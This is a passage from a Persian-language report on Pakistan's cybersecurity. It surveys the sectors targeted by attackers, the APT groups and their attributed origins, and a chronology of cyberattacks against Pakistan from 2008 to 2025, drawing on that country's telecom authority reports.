ــای  ــای واژه‌ه ــز در معن ــرد نی ــن دو رویک ــان ای ــدی می ــاوت کلی ــت. تف ــاع اس ــت دف ــرای تقوی ب

به‌معنــای محافظــت و پیشــگیری اســت،  دفاعــی و تهاجمــی مشــخص می‌شــود: دفــاع 

درحالی‌کــه تهاجــم به‌معنــای حملــه پیشــگیرانه و شناســایی تهدیدهــای بالقــوه اســت. 

ــد هــر دو رویکــرد را  ــرای ایجــاد وضعیــت امنیتــی بهینــه بای کشورهــا و ســازمان‌های آن‌هــا ب

ترکیــب کننــد. داده‌هــا و بینش‌هــای به‌دســت آمــده از اقدامــات تهاجمــی می‌تواننــد راهبــرد 

دفاعــی را تقویــت کــرده و ســازمان‌ها را در برابــر تهدیدهــای پیشــرفته آمــاده ســازند ]40[.

1.  Offensive Cybersecurity
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     2  مشچچچشم‎انداز تهدیدهای امنیت سایبری در پاک  .

   اول بخش     پاکستانیبریامنیت سا  .

پاکســتان به‌عنــوان کــشوری درحال‌توســعه در جهــان جنــوب از اوایــل دهــه ۱۹۹۰ بــه 

اینترنــت دسترســی پیــدا کــرد. در آغــاز ســال ۲۰۲۴، تعــداد کاربــران اینترنــت در پاکســتان ۱۱۱ 

میــلیون نفــر بــود و ضریــب نفــوذ اینترنــت در ایــن کــشور معــادل 45/7 درصــد بــود. در ژانویــه 

۲۰۲۴، 71/70 میــلیون کاربــر شــبکه‌های اجتماعــی و 188/9 میــلیون اشــتراک تلفــن همــراه 

فعــال در پاکســتان وجــود داشــت کــه به‌ترتیــب، معــادل 29/5 و 77/8 درصــد از کل جمعیت 

کــشور را دربرمی‌گرفــت ]3[. اگرچــه ایــن گســتره وسیــع کاربران نشــان‌دهنده تحول دیجیتال 

قــرار داده‌اســت.  را بیش‌ازپیــش در معــرض تهدیدهــای ســایبری  پاکســتان  امــا  اســت، 

بــه‌علاوه، دانــش محــدود کاربــران عمومــی در حوزه فنــاوری اطلاعــات روند تنظیــم و مدیریت 

دنیــای دیجیتــال را بــرای دولــت و نهادهــای قانون‌گــذار ایــن کــشور پیچیده‌تــر کرده‌اســت ]1[. 

آمــار شــرکت امنیــت ســایبری کسپرســکی1 )متعلــق بــه روسیــه( نشــان می‌دهنــد کــه تنهــا 

در ســه‌ماهه ســوم ســال 2024 بیــش از 13 درصــد از کاربــران پاکســتانی هــدف تهدیدهــای 

1.  Kaspersky

چشم‎انداز تهدید‌های امنیت سایبری 
در پاکستان

2



28

  امنیت سایبری و دیپلماسی سایبری پاکستان  

مبتنی‌بــر وب قــرار گرفته‌انــد کــه ایــن آمــار نشــان‌دهنده شــدت و فــراگیری خطــرات ســایبری 

در ایــن کــشور اســت.

اگرچــه دولــت پاکســتان بــا تدویــن سیاســت ملــی امنیــت ســایبری )2021(1 و تاسیــس 

ــت  ــال 2018 تلاش کرده‌اس ــایبری )NCCS(2 در س ــت س ــی امنی ــز مل ــچون مرک ــایی هم نهاده

بــه ایــن تهدیدهــا پاســخ دهــد، امــا شــواهد موجــود حاکــی از آن اســت کــه پیچیدگــی و 

ــر از ظرفیت‌هــای دفاعــی کنونــی ایــن کــشور حرکــت می‌کنــد  ســرعت حــملات ســایبری فرات

]73[. تهدیدهــای ســایبری علیــه پاکســتان را می‌تــوان در دو دســته کلــی شــامل حــملات 

بــه زیرســاخت‌های حیاتــی و جرایــم ســایبری طبقه‌بنــدی کــرد کــه درادامــه بــه هریــک از آن‌هــا 

ــود. ــه می‌ش ــر پرداخت ــه‌طور مختص ب

ــی  ــاخت‌های حیات ــه زیرس ــایبری علی ــای س یرســاخت‌های حیاتــی: تهدیده حــملات بــه ز

می‌تواننــد عملکــرد روزمــره سیســتم‌های بهداشــتی، مالــی یــا نیروگاهــی را مختــل کــرده و 

تاثیــرات اجتماعــی- اقتصــادی ویرانــگری بــرای جامعــه به‌ویــژه در کشورهــای درحال‌توســعه 

داشــته ‌باشــند. به‌عنــوان مثــال، شــبکه برق پاکســتان چندیــن بــار مورد حملــه ســایبری قــرار 

گرفتــه و مختــل شده‌اســت و گزارش‌هــایی وجــود دارد کــه احتمــالا مهاجمــان مســتقر در 

هنــد در ایــن حــملات دخیــل بوده‌انــد.

ــط و  ــرداری برخـ ــا هـــدف کلاهبـ ــتان بارهـ ــر پاکسـ جرایـــم ســـایبری: جمعیـــت‌ آسیب‌پذیـ

ـــتان  ـــدرال پاکس ـــات ف ـــازمان تحقیق ـــزارش س ـــاس گ ـــد ]74[. براس ـــرار گرفته‌ان ـــت ق آزار و اذی

و   2019 ســـال‎های  در  ســـایبری  جرایـــم  مربوط‌بـــه  شـــکایت   ۲۹,۵۷۷ بـــه  نزدیـــک   ،3)FIA(

2020 ثبـــت شده‌اســـت ]1[. مطالعـــه‌ای در ســـال 2023 نیـــز نشـــان داد کـــه کلاهبرداری‌هـــای 

1.  National Cybersecurity Policy 2021
2.  National Centre for Cyber Security
3.  Federal Investigation Agency
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کلاهبرداری‌هـــای  و  برخـــط  خریـــد  کلاهبرداری‌هـــای  برخـــط1،  فیشینـــگ  )ازجملـــه  برخـــط 

ســـرمایه‌گذاری( بـــه‌طور گســـترده‌ای در ایـــن کـــشور شیوع یافته‌اســـت. ایـــن آسیب‌پـــذیری 

گاهـــی انســـانی حتـــی در میـــان کاربرانـــی اســـت کـــه به‌طورکلـــی از ایـــن  عمدتـــا ناشـــی‌از کمبـــود آ

ــتان  ــرداری2، پاکسـ ــی ضدکلاهبـ ــتلاف جهانـ ــه ائـ ــه گفتـ ــتند. بـ گاه هسـ ــا آ نوع کلاهبرداری‌هـ

در ســـال 2024 حـــدود 4/6 درصـــد از تولیـــد ناخالـــص داخلـــی خـــود را در اثـــر کلاهبـــرداری 

ــال از دســـت داده‌اســـت ]74[. دیجیتـ

2. 1.   بخش‌های حساس و موردهدف پاکستان در حملات سایبری

بخش‌هــای حساســی در پاکســتان وجــود دارد کــه مهاجمــان ســایبری معمــولا آن‌ها را 

موردهدف قرار می‌دهند، چراکه آسیب‌های ناشی‌از مختل کردن این بخش‌ها و همچنین 

ســرقت اطلاعــات از ایــن بخش‌هــا می‌توانــد تاثیرات گســترده‌ای بــر امنیت ملــی و اقتصاد 

این کشور داشته‌باشــد. درادامه، چند نمونه از بخش‌های حســاس پاکســتان در حملات 

ح داده می‌شوند. سایبری به‌طورخلاصه شر

بخش مالی: بانک‌ها و موسســات مالی معمولا هدف اصلی حملات ســایبری هستند. 

در ایــن نوع حــملات، اطلاعــات حســاس مشــتریان بانک‌هــا )ازجمله جزئیات حســاب‌ها و 

کارت‌های اعتباری( برای اهداف تقلبی یا ســرقتی مورد سوءاســتفاده قرار می‌گیرد. همزمان 

با افزایش سریع تعداد مشــتریان بانک‌ها، خطرات مرتبط با این فعالیت‌های دیجیتال نیز 

 5 افزایش یافته‌است. دو سازمان هکری پیشرفته )APT(3 به نام‌های لازاروس4 و سایدویندِِر

فعالیت قابل‌توجهی در این حوزه داشته‌اند ]75[.

1.  Online Phishing
2.  Global Anti-Scam Alliance
3.  Advanced Persistent Threat
4.  Lazarus
5.  SideWinder
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بخــش مالــی پاکســتان در دوره زمانــی ژانویــه تــا اکتبر 2024 شــاهد افزایــش 114 درصدی 

حــملات بدافزارهــای بانکــی و مالــی نســبت بــه همــان دوره در ســال 2023 بوده‌اســت. این 

حملات به‌طورخاص شــامل ســه نوع بدافزار رایج هســتند: تروجان‌هــای1 بانکی که باهدف 

ســرقت اطلاعــات ورود کاربــران بــه ســامانه‌های بانکــی و مالــی )نــام کاربری و گذرواژه‌هــا( 

طراحــی شــده‌اند؛ باج‌افزارها که داده‌های موسســات مالی را رمزگذاری کــرده و برای دریافت 

کلید رمزگشــایی درخواســت پرداخت می‌کنند؛ و بدافزارهای جاسوســی که به‌طورمخفیانه 

تراکنش‌های بانکی را رصد کرده و اطلاعات حساس مالی را سرقت می‌کنند ]73[.

مخابــرات: امنیــت ســایبری در صنعــت مخابــرات به‌واســطه اقداماتــی ماننــد تاسیــس 

تیــم ملــی پاســخ فوری رایانــه‌ای در حوزه مخابــرات )nTCERT(2 و مرکز ملــی عملیات امنیتی 

مخابــرات )nTSOC(3 پیشــرفت قابل‌توجهــی داشته‌اســت. البتــه باوجود این پیشــرفت‌ها 

خ می‌دهــد، به‌طوری‌کــه ســازمان  همچنــان تعــداد زیــادی حملــه ســایبری در ایــن بخــش ر

مخابرات پاکســتان )PTA(4 در ســال ۲۰۲۳ افزایش چشــمگیری در حملات ســایبری گزارش 

 ،5)DDoS( کرد که شامل 200 حمله باج‌افزاری، 300 حمله محروم‌سازی از سرویس توزیع‌شده

۷۲۰ حمله بدافزاری و 550 مورد تلاش برای فیشینگ بود.

ارتــش و دولــت: ایــن بخش‌ها به‌طورویژه در معرض ســرقت هویت و جاسوســی برخط 

قرار دارند. سیستم‌های دولتی و مقامات نظامی بارها هدف حملات سایبری مشهوری قرار 

گرفته‌اند. به‌عنوان مثال، یک حمله ســایبری به سازمان فدرال مالیات پاکستان )FBR( در 

خ داد که منجر به از دست رفتن اطلاعات مربوط‌به میلیون‌ها مالیات‌دهنده  آگوست ۲۰۲۱ ر

1.  ویروس تروجــان نوعــی بدافــزار اســت کــه به‌عنــوان یــک برنامــه‌ قانونــی روی سیســتم کامپیــوتری یــا تلفــن همــراه قــرار 
می‌گیــرد و بعــد از آن کدهــای مخــرب روی دســتگاه اجــرا می‌شــود.

2.  National Telecom Computer Emergency Response Team
3.  National Telecom Security Operation Center
4.  Pakistan Telecommunication Authority
5.  Distributed Denial of Service
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از رکوردها شد و مرکز داده‌ این سازمان به‌طورموقت برای بازیابی اطلاعات مالیات‌دهندگان 

تعطیل شد و هکرها داده‌های به‌دست آمده را در یک سایت روسی به فروش رساندند.

بخــش بهداشــت و درمــان: حــملات ســایبری می‌تواننــد عملیــات بیمارســتان‌ها و مراکــز 

درمانــی را مختــل کــرده و اطلاعــات محرمانــه بیمــاران را بــه خطــر بیندازنــد. در ســال ۲۰۲۳، 

گروه‌هــای هــکری پیشــرفته به‌طورویــژه بخــش مراقبت‌هــای بهداشــتی پاکســتان را هــدف 

قــرار دادنــد.

صنعت و تولید: حملات سایبری صنعتی می‌توانند شبکه‌های تامین و تولید را به‌شدت 

مختــل کننــد. تاکنون باج‌افزارها و ســازمان‌های هکری پیشــرفته مختلفی بخش‌های مهم 

صنعتــی پاکســتان را هــدف قــرار داده‌انــد و باعــث اخــاذی ســایبری شــده‌اند و ایــن بخــش 

همچنان به‌شدت آسیب‌پذیر است ]75[.

صنعــت هســته‌ای: امنیت ســایبری در صنعت هســته‌ای نیــز یکــی از نگرانی‌های مهم 

به‌شمار می‌رود. دیجیتالی‌شدن صنایع و زیرساخت‌های حیاتی ازجمله تاسیسات هسته‌ای 

 1)C4I( باعث شده‌اســت تا ســاختارهای فرماندهی، کنترل، ارتباطات، محاسبات و اطلاعات

و ماهواره‌ها و رادارهای هشدار زودهنگام در برابر نفوذ سایبری آسیب‌پذیرتر شوند و این 

تهدید می‌تواند به اختلال در بازدارندگی هسته‌ای منجر شود.

سلاح‌های ســایبری همچنین قادرند سیســتم‌های فرماندهی و کنترل یا زنجیره تامین 

تســلیحات هســته‌ای را هــدف بگیرنــد کــه پیامدهــایی چون پرتــاب ناموفــق، خودتخریبی 

یــا عملکــرد نامنظــم کلاهک‌هــا را به‌دنبال دارد کــه این امر خــود تهدیدی جدی بــرای ثبات 

راهبردی جهانی محســوب می‌شــود. بدافزار استاکس‌نت2 نمونه‌ای شناخته‌شده از چنین 

حمله‌ای اســت که توانست تاسیسات هسته‌ای را هدف قرار دهد. دراین‌میان، وابستگی 

1.  Command, Control, Communications, Computing, and Intelligence
2.  Stuxnet
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پاکســتان بــه‌ فناوری‌های خارجــی نیز آسیب‌پذیری این کــشور را در برابر چنین تهدیدهایی 

دوچندان می‌کند ]4[.

در گزارش ســالانه امنیت ســایبری ســازمان مخابرات پاکستان در سال 2023 نیز صنایع 

موردهدف در حملات سایبری علیه پاکستان به‌ترتیب بیان شده‌است )اطلاع‌نگاشت 1(.

   اطلاع‌نگاشت 1:      مهم‌ترین صنایع موردهدف در حملات سایبری علیه پاکستان در سال 2023  

2023 ،)PTA( منبع: گزارش سالانه امنیت سایبری سازمان مخابرات پاکستان

همانطور که در اطلاع‌نگاشت 1 مشاهده می‌شود، بخش تولید در سال 2023 همواره در 

صدر فهرست صنایع موردهدف در حملات سایبری علیه پاکستان قرار داشته و پس از آن 

نیز بهداشت و درمان، فناوری و خرده‌فروشی قرار داشته‌اند. بخش‌های مالی و بیمه نیز با 

، از سوی گروه‌های  حملات سایبری قابل‌توجهی روبرو شده‌اند و علاوه‌بر گروه‌های باج‌افزار

هکری پیشرفته نیز موردهدف قرار گرفته‌اند. بخش‌های آموزش، انرژی و  نهادهای دولتی 

نیز در سال مذکور به‌شدت در معرض حملات سایبری بوده‌اند ]5[.

طبق گزارش ســالانه امنیت ســایبری ســازمان مخابرات پاکســتان، این کشور در ســال 

، و حملات  2023 بــا افزایش چشــمگیر حملات ســایبری ازجمله حــملات فیشینگ، بد‌افــزار

محروم‌سازی از سرویس توزیع‌شده )DDoS( روبه‌رو بوده‌است که تنوع تهدیدها در فضای 

دیجیتال این کشور را به‌وضوح نشان می‌دهد )نمودار 1( ]5[.

خرده‌فروشی

فناوری

آموزش بهداشت 
و درمان

مالی و بیمه سایر تولید
بخش‌ها
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   نمودار 1:      مهم‌ترین انواع حملات سایبری علیه پاکستان در سال 2023  
منبع: گزارش سالانه امنیت سایبری سازمان مخابرات پاکستان، 2023

بنابر آنچه در گزارش ســالانه ســازمان مخابرات پاکستان آمده‌است، حملات فیشینگ 

در جهان با ســرعت بی‌ســابقه‌ای درحال‌افزایش هســتند و در سال ۲۰۲۳ افزایش بی‌سابقه 

173 درصدی را تجربه کرده‌اند. از نظر بخش‌های هدف‌ در حملات فیشینگ علیه پاکستان 

نیــز بخــش مالــی ایــن کــشور در جایگاه نخســت قرار گرفته‌اســت و پــس از آن شــبکه‌های 

اجتماعی، خدمات ابری، بهداشــت و درمان، اینترنت/ مخابرات، تجارت الکترونیک/ آماد و 

دولت بیشترین هدف‌گیری را تجربه کرده‌اند ]5[.

در ایــن گــزارش همچنین بــه گروه‌های هکری پیشــرفته )APT( پرداخته شده‌اســت که 

در ســال 2023 حملات متعددی علیه پاکســتان ترتیب داده‌اند. گروه‎های هکری پیشــرفته 

بالاترین ســطح بازیگران ســایبری هســتند که با توانمندی‌های پیشرفته، روش‌های حمله 

پیچیده و تکامل مداوم خود متمایز می‌شــوند. این مجرمان سایبری در حملات سطح‌بالا 

شرکت می‌کنند که با ابزارها و روش‌های نوآورانه انجام می‌شوند و از توانایی سایر گروه‌های 

مجرمــان ســایبری فراتر می‌رود. عوامــل ژئوپلیتیکی نیز نقش مهمــی در تعیین مسیر این 

حملات دارند ]5[.
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   نمودار 2:      مهم‌ترین گروه‌های هکری پیشرفته که پاکستان را در سال 2023 هدف قرار داده‌اند 
منبع: گزارش سالانه امنیت سایبری سازمان مخابرات پاکستان، 2023

   جدول 1:      حوزه‌های موردهدف و منشأ جغرافیایی گروه‌های هکری پیشرفته که پاکستان را در سال 2023 
هدف قرار داده‌اند   

نام گروه هکری 
)APT( های موردهدفپیشرفته‎منشأ جغرافیاییحوزه

Gamaredon سازمان‌های وابسته‌به دولت، زیرساخت‌های اینترنتی و
روسیهنهادهای ارائه‌دهنده خدمات بهداشت و درمان

DoNot سازمان‌های وابسته‌به دولت، زیرساخت‌های اینترنتی و
نهادهای ارائه‌دهنده خدمات بهداشت و درمان

در برخی منابع به 
کشور هند نسبت 

داده‌شده‌است1

Bitter سازمان‌های وابسته‌به دولت، زیرساخت‌های اینترنتی و
نهادهای ارائه‌دهنده خدمات بهداشت و درمان

جنوب آسیا، در برخی 
منابع به کشور هند 

نسبت داده‌شده‌است2

Kimsuky سازمان‌های وابسته‌به دولت، زیرساخت‌های اینترنتی و
کره شمالینهادهای ارائه‌دهنده خدمات بهداشت و درمان

1.  https://cabinet.gov.pk/SiteImage/Misc/files/NTISB%20Advisories/2023/adv-49-23.pdf
2.  https://cabinet.gov.pk/SiteImage/Misc/files/NTISB%20Advisories/2023/adv-49-23.pdf
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   اول بخش     پاکستانیبریامنیت سا  .

نام گروه هکری 
)APT( های موردهدفپیشرفته‎منشأ جغرافیاییحوزه

Lazarus سازمان‌های وابسته‌به دولت، زیرساخت‌های اینترنتی و
کره شمالینهادهای ارائه‌دهنده خدمات بهداشت و درمان

SideWinder سازمان‌های وابسته‌به دولت، زیرساخت‌های اینترنتی و
نهادهای ارائه‌دهنده خدمات بهداشت و درمان

در برخی منابع به 
کشور هند نسبت 

داده‎شده‌است1

Konni &
StarCruft

سازمان‌های وابسته‌به دولت، زیرساخت‌های اینترنتی و 
نهادهای ارائه‌دهنده خدمات بهداشت و درمان

هردو وابسته‌به کره 
شمالی

BlueBravi سازمان‌های وابسته‌به دولت، زیرساخت‌های اینترنتی و
اطلاعاتی در دست نیستنهادهای ارائه‌دهنده خدمات بهداشت و درمان

PatchWork ،سازمان‌های وابسته‌به دولت، زیرساخت‌های اینترنتی
نهادهای ارائه‌دهنده خدمات بهداشت و درمان و 

همچنین نهادهای فناوری اطلاعات نظامی و غیرنظامی

در برخی منابع به 
کشور هند نسبت 

داده‌شده‌است2

BlueNoroff سازمان‌های وابسته‌به دولت، زیرساخت‌های اینترنتی و
نهادهای ارائه‌دهنده خدمات بهداشت و درمان

کره شمالی )زیرمجموعه 
)Lazarus

Kill Netروسیه3نهادهای نظامی و غیرنظامی پاکستان

2. 2.  نمونه‌هایی از حملات سایبری علیه پاکستان

در ایــن بخــش به نمونه‌هایی از حملات ســایبری علیه پاکســتان به‌ترتیــب تاریخ وقوع 

آن‌ها اشــاره خواهد شــد. مرور تاریخی حملات ســایبری علیه پاکســتان نشــان می‌دهد که 

ایــن کــشور قربانی انــواع هک‌ها، حملات فنی، جاسوســی ســایبری ســازمان‌یافته، حملات 

1.https://cabinet.gov.pk/SiteImage/Misc/files/NTISB%20Advisories/2022/54-Advisory-
No-54-2022.pdf
2.  https://cabinet.gov.pk/SiteImage/Misc/files/NTISB%20Advisories/2023/adv-49-23.pdf
3.  https://cabinet.gov.pk/SiteImage/Misc/files/NTISB%20Advisories/2023/Advisory_24.pdf
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زیرســاختی و باج‌افزارها بوده‌اســت کــه این امر خود ضرورت تدویــن و اجرای چارچوب ملی 

قدرتمند امنیت سایبری را بیش‌ازپیش برجسته می‌سازد.

   جدول 2:      نگاهی کلی به نمونه‌هایی از حملات سایبری علیه پاکستان  
ع حمله/ حملات یخ وقو ح حملهتار شر

حملات محروم‌سازی از سرویس توزیع‌شده )DDoS( علیه بانک 2008
مرکزی پاکستان

2016

هک کردن وب‌گاه‌های دولتی ازجمله وب‌گاه ارتش و وزارت امور 
خارجه پاکستان

جاسوسی از بخش نظامی و غیرنظامی پاکستان و رهگیری ارتباطات 
حیاتی آن‌ها و همچنین هدف قرار دادن رایانه‌های کلیدی پاکستانی 

)NSA( توسط هکرهای سازمان امنیت ملی ایالات متحده

2018
حمله سایبری به صنعت بانکداری پاکستان و فروش اطلاعات 

۲۲ بانک پاکستانی در دارک‌وب و همچنین حمله سایبری به 
دستگاه‌های خودپرداز بانک حبیب

جاسوسی سایبری از تلفن‌های همراه مقامات عالی‌رتبه اطلاعاتی و 2019
نظامی توسط هند 

2020

تلاش گروه هکری ایرانی Greenbug برای دسترسی‌به سوابق رایانه‌ای 
سه شرکت ارائه‌دهنده خدمات مخابراتی در پاکستان

هک کردن تلفن‌های همراه و دستگاه‌های مرتبط با کارکنان نظامی و 
مقامات دولتی پاکستان توسط هند

حمله سایبری به بانک‌های پاکستان و سرقت بیش‌از 19 هزارکارت 
بانکی به ارزش 2/6 میلیون دلار

حمله باج‌افزار Netwalker به شرکت کی- الکتریک، بزرگ‌ترین شرکت 
برق خصوصی پاکستان، به‌منظور مختل کردن خدمات صورت‌حساب 

برخط آن و افشای داده‌های حساس این شرکت
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   اول بخش     پاکستانیبریامنیت سا  .

ع حمله/ حملات یخ وقو ح حملهتار شر

2021

جاسوسی از مقامات هسته‌ای و نظامی پاکستان توسط هکرهای 
هندی

حمله به سازمان جمع‌آوری مالیات )FBR( و سرقت اطلاعات 
خصوصی مالیات‌دهندگان و توقف فعالیت‌های این سازمان به مدت 

بیش‌از ۷۲ ساعت

جاسوسی از اهداف حساس در پاکستان و کشمیر توسط گروه 
 Confucius هکری هندی

هک شدن پایگاه داده سازمان ملی ثبت احوال و پایگاه داده 
)NADRA( که داده‌های شخصی میلیون‌ها شهروند پاکستانی در 

معرض خطر قرار گرفت

حمله سایبری به بانک ملی پاکستان که موجب اختلال در 
پرداخت‌های بخش دولتی شد

قطعی گسترده برق در پی یک حمله دیجیتال مخرب2023

هدف قرار گرفتن نیروی دریایی پاکستان توسط یک کمپین 2024
جاسوسی سایبری

2025

حمله گروه هکری پیشرفته Rattlesnake به وب‌گاه نیروی دریایی 
پاکستان به‌منظور سرقت اطلاعات محرمانه

پاکستان و هند برای اولین بار به جنگ سایبری در کنار تبادل‌های 
نظامی پرداختند و در جریان این درگیری، حساب‌ رسمی توییتر وزارت 

امور اقتصادی پاکستان و پورت تراست کراچی )KPT( هک شد. 
درمقابل، پاکستان نیز حملات سایبری تلافی‌جویانه علیه هند انجام 

داد.

حملات باج‌افزار Blue Locker به برخی از سازمان‌های پاکستان که 
هدف اصلی آن شرکت‌های مهم در بخش نفت و گاز کشور و به‌طور 

ویژه شرکت پاکستان پترولیوم بود.

حمله گروه هکری پیشرفته Bitter به کارکنان شرکت مخابرات 
)PTCL( پاکستان
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پاکســتان از ســال‌های ابتــدایی گســترش اینترنــت بــا تهدیدهــای ســایبری متعــددی 

مواجــه بوده‌اســت. محروم‌ســازی از سرویــس توزیع‌شــده )DDoS( در ســال 2008 یکــی از 

نخســتین نمونه‌هــای جــدی حــملات بــود کــه پــس از آن، خدمــات بانــک مــرکزی پاکســتان1 

بــه مــدت 21 روز مختــل شــد؛ رخــدادی کــه آسیب‌پــذیری زیرســاخت‌های مالــی کــشور را 

آشــکار کــرد ]75[.

از میانــه دهــه ۲۰۱۰، حــملات ســایبری علیه نهادهای حســاس پاکســتان شــدت گرفت. 

در ســال 2015، گروهــی از هکرهــای هندی بــه نــام Mallu Cyber Soldiers وب‌گاه‌های دولتی 

پاکســتان را هدف قرار دادند و پیش از ســفر شــی جین‌پینگ، رئیس جمهور چین، وب‌گاه 

وزارت امور خارجه2 پاکســتان هک شــد؛ حادثه‌ای که ضعف‌های حیاتی امنیت اطلاعات در 

بالاتریــن ســطوح دولتی را نمایان ســاخت. در فاصله ســال‌های 2015 تــا 2016، چندین حمله 

ســایبری دیگــر به وزارت امور خارجه پاکســتان انجام شــد کــه همگی نشــان‌دهنده فقدان 

راهبرد موثر امنیت سایبری در این کشور بودند.

ــران  ــده )NSA(3 رهب ــالات متح ــی ای ــت مل ــازمان امنی ــه س ــد ک ــخص ش ــال 2016مش در س

 FOXACID نظامــی و غیرنظامــی پاکســتان را بــا اســتفاده از ارتباطــات رهــگیری کــرده و از ابــزار

بــرای آلوده‌ســازی رایانه‌هــای کلیــدی ایــن کــشور اســتفاده کرده‌اســت ]76[. در همــان ســال، 

بسیــاری از وب‌گاه‌هــای دولتــی، نظامــی و بانکــی پاکســتان موردحملــه هکرهــا قــرار گرفتنــد 

کــه یکــی از نمونه‌هــای مهــم آن شــامل هــک شــدن وب‌گاه ارتــش و وزارت خارجــه پاکســتان 

توســط هنــد بــود. ایــن حملــه ســایبری در واکنــش بــه حملــه تروریســتی پولوامــا در کشــمیر 

ــتانی  ــئولیت آن را گروه پاکس ــد و مس ــدی ش ــی هن ــدن ۴۰ نظام ــته ش ــه کش ــر ب ــه منج ــود ک ب

جیش‌محمــد پذیرفــت.

1.  State Bank
2.  Ministry of Foreign Affairs
3.  National Security Agency
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   اول بخش     پاکستانیبریامنیت سا  .

در سال ۲۰۱۸، صنعت بانکداری موردهدف قرار گرفت و اطلاعات ۲۲ بانک پاکستانی در 

دارک‌وب برای فروش قرار گرفت و و بانک اسلامی1 متحمل میلیون‌ها دلار خسارت گردید. 

در دسامبر همان سال، دستگاه‌های خودپرداز بانک حبیب پاکستان )HBL(2 هدف حمله 

قــرار گرفتنــد. این رخدادها نشــان داد که زیرســاخت‌های مالی کشور نیز از اســتانداردهای 

امنیتی مطلوبی برخوردار نیستند ]75[.

در اوایل سال 2019، گزارش‌هایی منتشر شد که هند با استفاده از بدافزار پگاسوس3- 

محــصول شــرکت اســرائیلی NSO4- تلفن‌های همراه مقامــات عالی‌رتبــه اطلاعاتی و نظامی 

پاکستان را در معرض جاسوسی سایبری قرار داده‌است ]77[. بعدها مشخص شد که بیش 

از ۱۰۰ شماره تلفن پاکستانی، ازجمله شماره نخست‌وزیر وقت عمران خان، آلوده شده‌اند 

]76[. گفتنــی آنکه این موضوع در چارچوب همکاری راهبردی هند و رژیم صهیونیســتی در 

حوزه فناوری‌های نظامی و غیرنظامی قابل‌تحلیل است. درواقع، این همکاری به هند امکان 

دسترسی به ابزارهای پیشرفته سایبری را داده‌است، درحالی‌که خود رژیم صهیونیستی نیز 

با مشکلاتی در زمینه راهبرد امنیت سایبری مواجه است. هند به‌طورمداوم درحال‌تقویت 

دفاع خود و سرمایه‌گذاری عظیم در حوزه هوش ‌مصنوعی و فضای سایبری است تا موقعیت 

نظامی خود را در شــرایط برتری نگه دارد ]77[. آسیب‌پذیری‌های فزاینده ســایبری پاکستان 

نشان می‌دهد که نیاز فوری به چارچوب امنیت سایبری ملی قوی برای مقابله با تهدیدهای 

ســایبری مســتقل و حمایت‌شــده از سوی دولت‌هــای دیگــر کشورهــا وجــود دارد ]76[.

در ســال 2020، تهدیدهــا وارد مرحله تازه‌ای شــد. گروه هکرهای ایرانــی Greenbug در ماه 

می تلاش کرد به پایگاه داده ســه شــرکت ارائه‌دهنده خدمات مخابراتی در پاکســتان نفوذ 

1.  BankIslami
2.  Habib Bank
3.  Pegasus
4.  NSO Group
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کند که این امر نشــان داد شــبکه‌های مخابراتی این کشور به هدفی جذاب برای جاسوسی 

ســایبری تبدیــل شــده‌اند. در همــان ســال، ســازمان‌های امنیتــی پاکســتان نیــز از کشــف 

عملیات جاسوسی سایبری هند علیه تلفن‌های همراه مقامات نظامی و دولتی خبر دادند 

و هشــدارهای امنیتی گســترده‌ای صادر شد تا مقامات و سازمان‌های دولتی تدابیر امنیت 

خ داد و طی آن  ســایبری خــود را تقویــت کننــد ]77[. در ســال 2020، حادثه مهــم دیگری نیــز ر

بیــش از 19 هــزارکارت بانکی به ارزش 2/6 میلیون دلار از بانک‌های پاکســتانی ســرقت شــد. 

به‌گفتــه خبرگزاری‌های پاکســتان، این حملــه بزرگ‌ترین حمله ســایبری در تاریخ کشور بود 

کــه آسیب‌پذیری‌هــای زیرســاخت‌های امنیتی بخش بانکــی در این کشور را نشــان داد. در 

ســپتامبر 2020 نیز شــرکت کی‌- الکتریک1، بزرگ‌ترین شــرکت برق خصوصی پاکستان، هدف 

حملــه باج‌افــزار Netwalker قــرار گرفــت کــه خدمــات صورت‌حســاب برخط آن مختل شــد. 

مهاجمــان مبلــغ 3/8 میــلیون دلار درخواســت کردنــد و پــس از این‌که این مبلــغ پرداخت 

نشــد، یک آرشیو 8/5 گیگابایتی از فایل‌هایی که ظاهرا در طول حمله ســرقت شــده‌بودند 

را منتشــر کردنــد. داده‌هــای فاش‌شــده شــامل اطلاعــات حســاس ماننــد داده‌هــای مالی، 

اطلاعات مشتریان، گزارش‌های مهندسی و گزارش‌های نگهداری بود ]73[.

در ســال 2021، هکرهــای هنــدی بــا اســتفاده از دو برنامــه بدافــزار اندرویــدی Sunbird و 

Hornbill. بــه جاسوســی از اطلاعــات مقامــات هســته‌ای و نظامی پاکســتان پرداختند. این 

بدافزارهــا که به گروه‌های هکری پیشــرفته مرتبط بودنــد، تمرکز ویژه‌ای بر نفوذ به پیام‌ها و 

 2)FBR( مکالمات واتس‌آپ داشتند ]77[. در آن سال، سازمان جمع‌آوری مالیات پاکستان

نیز موردحمله‌ قرار گرفت که این امر منجر به ســرقت اطلاعات خصوصی مالیات‌دهندگان 

و توقــف فعالیت‌هــای این ســازمان بــه مدت بیش از ۷۲ ســاعت شــد ]4[. در فوریه همان 

1.  K-Electric
2.  Federal Board of Revenue
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ســال نیــز گروه هــکری Confucius کــه بــه دولــت نارنــدرا مــودی نســبت داده می‌شــود، بــا 

بهره‌گیری از روش‌های مهندســی اجتماعی و تجهیزات نظارتی تلفن همراه توانست حدود 

۱۵۰ نفر از مقامات ارشــد نیروهای مســلح1، کمیسیون انرژی اتمی2 و نهاد نظارتی هسته‌ای3 

پاکســتان را هــدف قــرار دهــد و از مناطــق حســاس در پاکســتان و کشــمیر جاسوســی کند 

]75[. ایــن هکرهــای دولتــی قربانیان را بــه دانلود فایل‌های مخرب تشویــق کردند و پس از 

نفوذ به دستگاه‌های آنان اطلاعات حساسی ازجمله مخاطبین، موقعیت‌های جغرافیایی، 

تاریخچــه تماس‌هــا، مــوارد ضبط‌شــده، تصاویر و پیام‌هــای صوتی را اســتخراج کردند ]77[. 

ازآنجاکه سازمان ملی ثبت احوال و پایگاه داده )NADRA(4 تنها سازمانی است که اطلاعات 

جمعیتــی را ثبــت و ذخیــره می‌کنــد، همــواره هــدف اصلی تروریســم ســایبری بوده‌اســت تا 

خدمــات حیاتــی آن را مســدود یــا تخریب کــرده و اطلاعات محرمانــه افراد را به ســرقت ببرد 

و از آن‌هــا بــرای مقاصد غیرقانونی اســتفاده کند. در ســال 2021 نیز پایگاه داده این ســازمان 

هک شــد و داده‌های شــخصی میلیون‌ها شهروند پاکســتانی در معرض خطر قرارگرفت که 

